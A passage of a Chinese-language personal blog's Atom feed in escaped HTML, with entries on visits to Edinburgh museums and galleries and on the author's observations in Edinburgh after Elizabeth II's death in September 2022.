	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;Talbot_Rice_Gallery&quot;&gt;Talbot Rice Gallery&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;位于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Old
College&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的角落。有点像北京的时代美术馆、今日美术馆，主要是现代艺术。换展频率是一年三次。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220824_114753.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_114753.0f8837360ddc1198.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_114753.cf6ce55a81750904.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_114753.f5a4b89cf17a0f7b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_114753.cf6ce55a81750904.webp&quot;
	alt=&quot;Talbot Rice Gallery&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;&lt;time&gt;2022-08-24&lt;&#x2F;time&gt;、&lt;time&gt;2022-09-07&lt;&#x2F;time&gt;&lt;&#x2F;p&gt;
&lt;p&gt;窗外施工三联画。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220824_113348.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_113348.9b2b60e00dbf76a4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_113348.2da4480742bbd2c8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_113348.e812be4774777fb6.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220824_113348.2da4480742bbd2c8.webp&quot;
	alt=&quot;Alternation to Exisiting Conditions (windows), 2022&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我最喜欢的是带文字的作品，时常想把博客主页排成它们这样——但我不会&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSS。而且博客主页的内容经常更新，真要排成这样效果肯定也敌不过人家对着死内容做的设计。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_152654.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152654.105a4e709ba1bc60.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152654.c09030dda5953317.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152654.da08cb545f27ee47.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152654.c09030dda5953317.webp&quot;
	alt=&quot;Eastside Projects Exhibition Invitations: Narrative Show, 2011&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_152818.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152818.62b2585601083272.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152818.e1d0a2e1ce20e82f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152818.acab45c238274900.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_152818.e1d0a2e1ce20e82f.webp&quot;
	alt=&quot;Eastside Projects Curtain Show Exhibition Invitation, 2010&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_153007.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_153007.e91f4490e788ef9a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_153007.4b2a0b5e808fcddf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_153007.472ac802302462d3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_153007.4b2a0b5e808fcddf.webp&quot;
	alt=&quot;Play for today, 2021&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;Museum_of_Edinburgh&quot;&gt;Museum of Edinburgh&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;time&gt;2022-08-29&lt;&#x2F;time&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从街上看以为这博物馆很小，但其实有两层纵深很大的空间，只参观一小时会有点赶。博物馆本身曾是一间民居，木地板踩上去嘎吱作响。馆内有一些本地历史，这种小的城市博物馆还挺有趣的。爱丁堡是第一个拥有警队和消防队的城市，这里展示了警察徽章、警棍和消防员的铜头盔。顶楼还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Holyrood
Road&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;玻璃厂的器具和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Portobello&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;制陶厂的复原，我觉得这些介绍本地历史的展品挺有意思。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220829_162700.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_162700.7571410c06afa07c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_162700.27644b922590fb27.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_162700.f2aa7dc44fb73915.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_162700.27644b922590fb27.webp&quot;
	alt=&quot;自来水出水口&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220829_163241.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_163241.38d9e312d917707f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_163241.ddbe87cf55c9da58.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_163241.607e589f70305cd4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220829_163241.ddbe87cf55c9da58.webp&quot;
	alt=&quot;爱丁堡警徽&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;Writer’s_Museum&quot;&gt;Writer’s Museum&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;time&gt;2022-09-05&lt;&#x2F;time&gt;&lt;&#x2F;p&gt;
&lt;p&gt;就在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Museum on the
Mound&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;旁边，曾是罗伯特・彭斯第一次来爱丁堡住过的民居——虽然也是民居，但不像&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Museum
of
Edinburgh&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那样走路会响。博物馆分三层，一层是彭斯，二层是斯科特，地下是史蒂文森。一小时可以参观完。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220905_162048.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162048.4d0f8197ff0355cf.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162048.2f7853c8b0f6802e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162048.8440b8d6e7184dc9.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162048.2f7853c8b0f6802e.webp&quot;
	alt=&quot;史蒂文森-斯科特-彭斯&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220905_161135.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_161135.815a94220398782f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_161135.5888fe0e1fec09fa.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_161135.5c19fc463279d42e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_161135.5888fe0e1fec09fa.webp&quot;
	alt=&quot;彭斯当税吏时的手杖剑&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220905_162148.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162148.535498221e75d8db.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162148.be41b32bbf7ef578.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162148.6f9cd3fc9332ec93.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162148.be41b32bbf7ef578.webp&quot;
	alt=&quot;斯科特的棋盘&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220905_162928.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162928.17602073423fb1d1.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162928.89e2b44e359352cc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162928.52c4f797d6cae3b5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220905_162928.89e2b44e359352cc.webp&quot;
	alt=&quot;史蒂文森的打字机&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;史蒂文森的展区还放有他们家由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;William
Brodie&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;制作的柜子。Brodie&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;白天是大好人，给大家做柜子；晚上就当窃贼去开别人家柜子。我不知道史蒂文森家有没有被盗，但是他受启发写了《化身博士&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;静态博客生成器的始祖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Jekyll&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之名就取自《化身博士&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（Strange
Case of Dr Jekyll and Mr
Hyde&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，其试管图标应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Jekyll&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;博士喝下的药水。后来的生成器取名就更直接了，直接以作者命名：雨果、左拉。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;City_Art_Centre&quot;&gt;City Art Centre&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;time&gt;2022-09-17&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才发现这也是个展览馆——以前一直以为是酒店呢。一层和二层在办《&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.edinburghmuseums.org.uk&#x2F;whats-on&#x2F;national-treasure-scottish-modern-arts-association&quot;&gt;National
Treasure: The Scottish Modern Arts
Association&lt;&#x2F;a&gt;》展。这个展主要围绕一个小标题里的组织而设——我刚从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Scottish_National_Gallery_of_Modern_Art&quot;&gt;Modern
One&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出来，本来想去另一个博物馆的。既然碰到了现代艺术相关的，那不妨就把今天变为现代艺术之旅吧。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_155903.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_155903.ccbdfcbdb914f5e3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_155903.f4b0fa13a821521e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_155903.567457572a6b6a31.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_155903.f4b0fa13a821521e.webp&quot;
	alt=&quot;City Art Centre&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;这个展不让照相，所以成了我体感最好的艺术展。不过这个组织名里的现代艺术和我理解的并不相同：他们只是会收集在世画家的作品而已。而那些作品也一点不前卫：仍然是油画、水彩与版画。事实上，该组织后期也因为收集作品太老派而受到批评。组织成立时，国家画廊只收购过世大师的作品。他们认为活着的画家也很重要，所以开始为理想中的现代艺术馆而收集作品。国家现代艺术馆落地后，以想收集国际作品为由，只从这个组织买了一幅画。最后，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的牵头下，The
Scottish Modern Arts
Association&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把作品们卖给了爱丁堡这个城市。&lt;&#x2F;p&gt;
&lt;!-- 大猩猩，特殊角度骷髅
有一幅叫做《Black Mirror》的画，画中是一个背对观众的女人在照全身镜。
出一个身穿黑衣服的女人画面右下角有一个小猩猩扶着镜子。 --&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;edinburgh-museums
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;edinburgh-museums&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>伊丽莎白二世去世</title>
    <published>2022-09-08T23:06:20+01:00</published>
    <updated>2023-04-19T22:06:25+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/queen-elizabeth-ii-dies/" type="text/html" />
    <id>https://emptystack.top/queen-elizabeth-ii-dies/</id>
    <content type="html">
      &lt;p&gt;今天上下午有两场雨，都出奇得大。我到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时连亚瑟王座都被雨雾遮挡了一半。同学在路上告诉我女王可能不行了，我心想这关我什么事。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_153710-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20220908_153710-optim.jpg&quot;
	alt=&quot;被雾遮挡一半得亚瑟王座&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;吃完晚饭打开电视看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BBC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在直播什么，定睛一看才知道伊丽莎白二世真的去世了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_184745-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20220908_184745-optim.jpg&quot;
	alt=&quot;电视画面：HM Queen Elizabeth has died&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;伊丽莎白二世毕竟不是我的女王，我也不认为这种落后制度应该继续存在。看到她的去世我只知道这是个大事件，但内心并无波动。出于好奇，我准备去荷里路德宫看一看当地人有什么反应。&lt;&#x2F;p&gt;
&lt;p&gt;一路上看见大伙该笑还是笑，也都匆匆忙忙地向四处赶路。走到荷里路德宫大门时，终于看到有人群聚集。当时天已经半黑，但手机照出来如同白昼，而且很模糊。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_193700-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20220908_193700-optim.jpg&quot;
	alt=&quot;人群聚集在荷里路德宫大门&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;人不多，但还是来了个警察维持治安。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_193912-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20220908_193912-optim.jpg&quot;
	alt=&quot;警车里下来个警察&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;建筑内的苏格兰皇家旗降了半旗。建筑外有人在献花，有人在拍照，大部分人就那么表情木讷地站着，不知道在看些什么。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_194247-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20220908_194247-optim.jpg&quot;
	alt=&quot;献花与拍照者&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;荷里路德宫的工作人员站在花园门口挨个检查献花者的花——她们的工作貌似是把花上围的透明塑料包装取下来。我自打来到这个城市就想买件雨衣，感觉她们这套帽沿也有格纹的雨衣十分不错。不过不知道上哪买。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_195246-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20220908_195246-optim.jpg&quot;
	alt=&quot;荷里路德宫的工作人员&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;大家总是说明年的苏格兰真的会独立，我倒觉得第二次公投根本不会被批准。不过君主驾崩、不靠谱的人当首相、通货膨胀与取暖费暴涨……看起来英国的未来——至少下半年不明朗。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;time&gt;2022-09-11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;晚上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点左右&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Meadows&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;溜达了下。一路上看到很多警察与穿着亮黄色雨衣疑似警察的人在巡逻。据同学说这个点一般没有警察，所以可以推定这些安保是为了被运到荷里路德宫的女王准备的。另外想起中午&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点时在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fettes
Avenue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的警局有几排骑警出动。我对那里不熟，不知道平常是否这样。可能也是为了运送遗体出动的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;time&gt;2022-09-12&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;公众可以去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;St
Giles&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大教堂参观女王。但是听说要排队三小时才能进去。我决定省省力气不去看了。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;queen-elizabeth-ii-dies
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;queen-elizabeth-ii-dies&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>Mad Max</title>
    <published>2022-08-30T00:22:28+01:00</published>
    <updated>2022-08-30T00:22:28+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/mad-max/" type="text/html" />
    <id>https://emptystack.top/mad-max/</id>
